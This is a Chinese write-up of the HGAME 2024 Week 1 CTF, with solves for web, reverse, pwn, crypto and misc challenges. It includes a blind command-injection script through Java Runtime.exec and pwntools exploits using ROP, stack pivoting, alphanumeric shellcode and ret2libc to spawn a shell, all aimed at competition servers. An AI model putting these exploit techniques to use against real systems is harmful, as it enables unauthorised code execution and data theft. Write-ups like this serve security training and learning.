HGAME WEEK1 writeup

WEB

2048*16

> 2048还是太简单了，柏喵喵决定挑战一下2048*16

js混淆，下载html和js到本地，搭建网页。

在 https://lelinhtinh.github.io/de4js/ 解部分混淆，发现计算式 `1*-16904+734*-8+106*524=32768`。

在本地js替换计算式为4，运行，玩到大于4分拿到flag。

Bypass it

> This page requires javascript to be enabled :)

前端register.php页面无法注册，使用burpsuite抓包改包：

```
POST /register.php HTTP/1.1
Host: 47.100.139.115:31014
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

username=aaa&password=aaa
```

再在login.php页面登录即可得到flag。

jhat

> jhat is a tool used for analyzing Java heap dump files
>
> **提示1**hint1: need rce
>
> **提示2**hint2: focus on oql
>
> **提示3**hint3: 题目不出网 想办法拿到执行结果

Execute Object Query Language (OQL) query RCE。

反弹shell失败，尝试盲注：

```python
import requests
import string
import time
import base64

url='http://47.100.137.175:31610/oql/?query='
dic=string.printable[:-6]
flag=''

for i in range(1,50):
    judge=0
    for j in dic:
        now=f'a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j} ];then sleep 
2;fi'
        now=base64.b64encode(now.encode()).decode()
        now=f'{url}java.lang.Runtime.getRuntime().exec("bash -c {{echo,{now}}}|
{{base64,-d}}|{{bash,-i}}").waitFor();'
        start=time.time()
        r=requests.get(now)
        end=time.time()
        if int(end)-int(start) >1:
            judge=1
            flag+=j
            print(flag)
            break
    if judge==0:
        break

print(flag)

# hgame{34a3af4603b57a5aad31ed075a01be1c564dbd8a}
```

Select Courses

> Can you help ma5hr00m select the desired courses?

非预期，两个路由 `/api/course` 和 `/api/ok`，使用burpsuite条件竞争，可以把所有课程一一选上，最后完成选课：

`谢谢啦！这是给你的礼物：hgame{w0W_!_1E4Rn_To_u5e_5cripT_^_^}`

ezHTTP

> HTTP Protocol Basics

HTTP请求头满足对应条件：

```
User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Referer: vidar.club
X-Real-IP: 127.0.0.1
```

在响应头发现：

```
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJGMTRnIjoiaGdhbWV7SFRUUF8hc18xbVAwclQ0bnR9
In0.VKMdRQllG61JTReFhmbcfIdq7MvJDncYpjaT7zttEDc
```

使用jwt.io解析得：

```
{
  "F14g": "hgame{HTTP_!s_1mP0rT4nt}"
}
```

REVERSE

ezASM

> To learn a little ASM

提取出加密后的字符值：`74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34`，汇编代码操作为异或0x22，再异或得flag：`hgame{ASM_Is_Imp0rt4nt_4_Rev3rs3}`。

ezPYC

> ez python Reverse

用pyinstxtractor解包exe，再用pycdc反编译pyc，代码逻辑为flag异或hex:01020304，得到字符值：

`87, 75, 71, 69, 83, 121, 83, 125, 117, 106, 108, 106, 94, 80, 48, 114, 100, 112, 112, 55, 94, 51, 112, 91, 48, 108, 119, 97, 115, 49, 112, 112, 48, 108, 100, 37, 124, 2`，

还原得flag：`VIDAR{Python_R3vers3_1s_1nter3st1ng!}`

ezUPX

> UPX is a packer

先用UPX脱壳，再IDA打开，代码逻辑为字符串与0x32的异或操作，将字符串hex值`647B76736049655D45136B02476D595C02456D066D5E0346465E016D02546D67626A134F` 与 0x32异或，得到flag：`VIDAR{Wow!Y0u_kn0w_4_l1ttl3_0f_UPX!}`

ezIDA

> HTTP Protocol Basics

IDA打开查看字符串，flag：`hgame{W3lc0me_T0_Th3_World_of_Rev3rse!}`。

PWN

EzSignIn

> Have fun in pwn games of hgame2024~

nc拿flag：`hgame{I_HATE_PWN}`。

Elden Ring Ⅰ

> 伊丽莎白学姐沉迷于艾尔登法环无法自拔，你能帮她从梅琳娜那里拿到flag吗？ flag格式为 `hgame{*******}`

开了沙盒禁用execve，使用ORW读flag，但read长度又不够放，还需要做栈迁移到bss。

```
from pwn import *

r=remote('47.100.245.185',31235)
elf=ELF('./vuln')
libc=ELF('./libc.so.6')

puts_plt=elf.plt.puts
puts_got=elf.got.puts
pop_rdi=0x4013e3
ret=0x40101a
vuln=elf.sym.vuln

r.recvuntil(b'accord.\n\n')
pl=b'a'*(0x100+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
r.send(pl)

puts_addr=u64(r.recvuntil(b'\x7f').ljust(8,b'\x00'))
print(hex(puts_addr))
base=puts_addr-libc.sym.puts
print(hex(base))

pop_rsi=base+0x2601f
pop_rdx=base+0x142c92
pop_rax=base+0x36174
syscall=base+0x2284d
syscall_ret=base+0x630a9

libc_open=base+libc.sym.open
libc_read=base+libc.sym.read
libc_write=base+libc.sym.write

#move stack
fake_rbp=0x404101
lea_rax_rdi_ret=base+0xb84a2
vuln_read=0x40127d
r.recvuntil(b'accord.\n\n')
pl=b'a'*0x100+p64(fake_rbp)+p64(pop_rdi)+p64(fake_rbp)+p64(lea_rax_rdi_ret)+p64(v
uln_read)
r.send(pl)
```

```
#orw
flag_addr=0x4041c1
bss=0x404000
pl=p64(fake_rbp)
pl+=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall_ret)
pl+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x100)+p64(libc_read)
pl+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x100)+p64(libc_write)
pl+=b'./flag'
r.send(pl)

r.interactive()
```

ezshellcode

> Short visible shellcode?

先是整数负溢出，再是含大小写+数字的可见字符shellcode。

```
from pwn import *

r=remote('47.100.139.115',30304)

r.sendlineafter(b'shellcode:',b'-1')
pl=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
r.sendafter(b'shellcode:',pl)

r.interactive()
```

Elden Random Challenge

> rrrrraaaannnnnddddddooooommmm

先是伪随机数模拟，再是ret2libc64。

```
from pwn import *
from ctypes import *

r=remote('47.100.139.115',30579)
lib = cdll.LoadLibrary('./libc.so.6')
libc = ELF('./libc.so.6')
elf = ELF('./vuln')

puts_plt=elf.plt.puts
```

```
puts_got=elf.got.puts
pop_rdi=0x401423
ret=0x40101a
myread=elf.sym.myread

r.recvline()
buf=b'\x00'*0x12
r.send(buf)
r.recvline()

lib.srand(0)
for i in range(99):
    print(i)
    r.recvline()
    ra = (lib.rand())%100+1
    r.send(p8(ra))

r.recvline()
pl = b'a'*(0x30+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(myread)
r.send(pl)

puts_addr=u64(r.recv(6)+b'\x00'*2)
print(hex(puts_addr))

libc_base=puts_addr-libc.sym.puts
print(hex(libc_base))
system_addr=libc_base+libc.sym.system
binsh_addr=libc_base+next(libc.search(b'/bin/sh\x00'))

pl = b'a'*
(0x30+8)+p64(ret)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)+p64(myread)
print(len(pl)%16)
r.send(pl)

r.interactive()

# hgame{R4nd0m_Th1ngs_4r3_pr3sen7s_1n_l1f3}
```

ezfmt string

> easy Format String

格式化字符串漏洞，禁用字符p和s。给了shell函数，可以考虑劫持控制流到shell函数运行，结合leave;ret指令，改rbp到rbp+8，再设置rbp为[rbp]。

```
from pwn import *

r=remote('47.100.245.185',32664)

r.recvline()
r.recvline()

pl=b"%128c%18$hhn".ljust(48, b"\x00") + p64(0) + p64(0x401245)
info(hexdump(pl))
r.send(pl)

r.interactive()
```

CRYPTO

奇怪的图片

> 一些奇怪的图片

图片两两相互异或：

```
from PIL import Image
import os
width = 120
height = 80

def xorImg(keyImg, sourceImg):
    img = Image.new('RGB', (width, height))
    for i in range(height):
        for j in range(width):
            p1, p2 = keyImg.getpixel((j, i)), sourceImg.getpixel((j, i))
            img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
    return img

def traverse_folder(folder_path):
    for root, dirs, files in os.walk(folder_path):
        return files


pics = traverse_folder('png_out')
print(pics)


for i in range(21):
    for j in range(i+1,21):
        img1 = Image.open(f'png_out/{pics[i]}')
        img2 = Image.open(f'png_out/{pics[j]}')
        img = xorImg(img1, img2)
        n1 = pics[i].split('.')[0]
        n2 = pics[j].split('.')[0]
        img.save(f'out/img_{n1}_{n2}.png')
```

然后选出只有1个字符的图片，记录下来：

```
a c 3
a k c
b j 1
b p _
d g g
e q b
e r e
f a 3
f c 0
g t a
h c 8
h q _
i l 1
i u {
j r 7
k n }
m p f
m s d
o t m
o u e
s l a
```

最后连接起来得到：

```
dgtouilsmpbjreqhcfakn
game{1adf_17eb_803c}
```

加个h，得到flag：`hgame{1adf_17eb_803c}`。

ezMath

> 一个简单的数学题

首先根据佩尔方程解法求x,y：

```
def solve_pell(N, numTry = 1000):
    cf = continued_fraction(sqrt(N))
    for i in range(numTry):
        denom = cf.denominator(i)
        numer = cf.numerator(i)
        if numer^2 - N * denom^2 == 1:
            return numer, denom
    return None, None

D = 114514
x,y = solve_pell(D)
print((x,y))
```

```
#
(3058389164815894335086675882217709431950420307140756009821362546111334285928768064662409120517323199,
9037815138660369922198555785216162916412331641365948545459353586895717702576049626533527779108680)
```

再代入AES解密：

```
from Crypto.Util.number import *
from Crypto.Cipher import AES

def pad(x):
    return x+b'\x00'*(16-len(x)%16)

def decrypt(c, KEY):
    cipher= AES.new(KEY,AES.MODE_ECB)
    m = cipher.decrypt(c)
    return m

x,y =
(3058389164815894335086675882217709431950420307140756009821362546111334285928768064662409120517323199,

9037815138660369922198555785216162916412331641365948545459353586895717702576049626533527779108680)
enc=b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a"

key=pad(long_to_bytes(y))[:16]
m=decrypt(enc,key)

print(m)

#
b'hgame{G0od!_Yo3_k1ow_C0ntinued_Fra3ti0ns!!!!!!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```

ezRSA

> 一个简单的RSA

leak1=p^q%n，故leak1%p=0，leak1=kp，又leak1为素数，故leak1=p，同理leak2=q。

```
leak1=149127170073611271968182576751290331559018441805725310426095412837589227670
757540743929865853650399839102838431507200744724939659463200158012469676979987696
419050900842798225665861812331113632892438742724202916416060266581590169063867688
299288985734104127632232175657352697898383441323477450658179727728908669
leak2=116122992714670915381309916967490436489020001172880644167179915467021794892
927977272080596641785569119134259037522388335198043152206150259103485574558816424
740204736215551933482583941959994625356581201054534529395781744338631021423703171
146456663432955843598548122593308782245220792018716508538497402576709461
c=1052948186753252003425805677386407401702701957804186624540064784023025166165299
970971591962081093343719166118000329592327365567572958855889959252423562272881606
550191807612081223658034499114098099153234799125270528863301491347997061005684554
352359132417756706194892255227523548661551491393212543654399164260702868976269361
730524671649278311681307035551260697162664559496185056758634038970582131484209646
56318868122812898431322581318097737977704935878918221257060625250979083099426313
202009415364629679352297563219191246391989898834928228497291993276195260337973323
4575351624039162440021940592552768579639977713099971

p=leak1
q=leak2
f=(p-1)*(q-1)
e=0x10001
d=inverse_mod(e,f)
m=pow(c,d,p*q)
print(bytes.fromhex(hex(m)[2:]))

#b'hgame{F3rmat_l1tt1e_the0rem_is_th3_bas1s}'
```

ezPRNG

> 一个简单的随机数

LFSR基操。

```
from Crypto.Util.number import *
```

```
output=
['111111011011101111000010101101000100011111100111111010010100001111011111111100010
0001111110110111100001001000101101011110111100010010100000011111101101110101011010
1110000000111100001000111011110110110001001011001101001011100010100011011011110000
0100010001111001010100101101101111011100110110010111110110101010110000110110001 11
0110111110011010101111001011001100010110100101011100111010011001110000111101110 00
0011011100000011111000000100000101111110001011011100111001101000001101111011001100 0
0011010111111110101100110101110101010010000100111101100111101101010111101111010011
0100101101111111010011101000110101111101111000110011111110010110000100100100101101
0101011100101010011010101010111101110100111011100001001011110101101011111110001111
111110010000000001110011100100001011111110100111011000101001101001110010010001100
0110000001101000111010010000101101111101011000000101000001110001011001010010001000
0110000000100010010010010111010011111111011100100100100101111111001110000111110110
001111100111111001010010011000010',
'0010000000000101011110000110001110111110111100010010011101010111001011001100101 11
101011000111010100000011000001100000000110000001101011111110111001001101110110100
001000111110001110010001010011100101100100010001100101010111100111010000111111011
0101100001111000110101111110001101110000110001100111001001011001111000000100100101 1
110010111011100010110111111111011010100010111011000010010101110110100000110100000 1
0001010100001011110100100001100000000011101001010101011110110101111101100100010 10
0010001100110010101011011000101001000101011011101101111111010111001110011011111111
1101001110111110100100111100111111101001100111111110110001000111100010111000101111 0
00011011011111110111010111010011100001110000101011011110001100101101001101011100 01
101011001101000111011010111010001110110001001101100011001101010101100100110111100
0011111010011110111000010001000011110001011100001000001000111111011010000100011 01
1010010011011001011011101001111111010111100000111010101001101010111100001101011101
110110101101100000010000110001',
'1110110110010001011100111110111110111001111101010011001111110010000100011100110 10
110101000101111110101110101111010111100101100010011001001011101000101011000110111 0
0001000010100100010011101011000101000011111011011100001100110001000110100001000 11
1111110000010111100010010100000000100100100110111000010011100111000100101101011 11
1101011110110110100111011101011111011001100100001000101010001001011011010101110 00
0010111111001001100111100010010011111001011110011110110110101110010011110100011001
100011000001100000110000011111010100101111000000101011111010000111110000101111110 00
1000001001011101011010010101010100111110010101110001100100101100010101010100110 11
0001011000000100011100111100111001110001101010101110100110100000001100001011000011 1
0110100000000111110001011111010111100110000110110001001001101110100110011111101100 1
0110001100010100111010111100100001011001011110111011001010110100000001010010110000 0
000011100011100001000000001001111110001101001100000001101110111110100111111100010111
011000000010001001010011000001',
'0001101010101010101000010010011000100001010101000010100010001000111011001100010011
0000100111000011010001010111101011011100110101101110111000000110010001001001010000
1101111010001110010010100111000100010101101110111001001111011100101001011101010000 0
0010011111010111001001011010000100001001000110111100111010001000101110110011101 11
010111011001001010110101010001010010001011100110111111110110011111111110000000001 11
0000001001100011000100011010101000101100001010100011000010100111010101011101101 00
101110110010100111000101010011001100001101011000100001001101011101000011010010110
111100111001100110010101101001010101111101101111000001110100011111011100000000001
1101101110100001100101001011100111011100010011101111010010100010001101110110001 11
1100010111011011011111100111100000000111000110000100001010010110011011101010000101
0100100010011001000010100111110010100000101101101001111000110100000110111101010011
0100110001010000011100001111010101010001101100111000101111011101011101101010110 11
00000110000000101001010111101 1']

mask = 0b10001001000010000100010010001001
b = ''
```

```
N = 32

res = ''

for key in output:
    idx = 0
    ans = ""
    key = key[31] + key[:32]
    while idx < 32:
        tmp = 0
        for i in range(32):
            if mask >> i & 1:
                tmp ^= int(key[31 - i])
        ans = str(tmp) + ans
        idx += 1
        key = key[31] + str(tmp) + key[1:31]
    num = int(ans, 2)
    res += hex(num)[2:]

print(res)

# fbbbee823f434f919337907880e4191a
```

再按照UUID的格式，得到flag：`hgame{fbbbee82-3f43-4f91-9337-907880e4191a}`。

MISC

SignIn

> 换个方式签个到 flag格式：'hgame{[A-Z_]+}'

压缩png图片的高度，识别flag：`hgame{WOW_GREAT_YOU_SEE_IT_WONDERFUL}`

来自星尘的问候

> 一个即将发售的游戏的主角薇^3带来了一条消息。这段消息隐藏在加密的图片里 但即使解开了图片的六位弱加密,看到的也是一张迷惑的图片。 也许游戏的官网上有这种文字的记录? 补充：flag格式为`hgame\{[a-z0-9_]+\}`

先用stegseek拿到隐藏的zip文件：`stegseek secret.jpg rockyou.txt`，密码为123456。

zip里文件的图片文字，参考：

https://www.bilibili.com/read/cv13249221/
https://my1l.github.io/Ctrl/CtrlAstr.html

对应写出flag：`hgame{welc0me!}`

simple_attack

> 怎么解开这个压缩包呢?

zip压缩包明文攻击，用ARCHPR跑解压zip。

flag：`hgame{s1mple_attack_for_zip}`

希儿希儿希尔

> Ch405是一名忠实的希儿厨，于是他出了一道这样的题，不过他似乎忘了这个加密的名字不是希儿了（x虽然经常有人叫错 补充： 图片打不开是正常现象,需要修复 最终得到的大写字母请用hgame{}包裹

将文件分离出zip，其中文件内容为：`CVOCRJGMKLDJGBQIUIVXHEYLPNWR`。

结合题目标题，使用dcode的hill cipher爆破得到flag：`hgame{DISAPPEARINTHESEAOFBUTTERFLY}`。

签到

> 关注“凌武科技”微信公众号，发送“HGAME2024”获得 Flag!

按提示操作，flag：`hgame{welc0me_t0_HGAME_2024}`。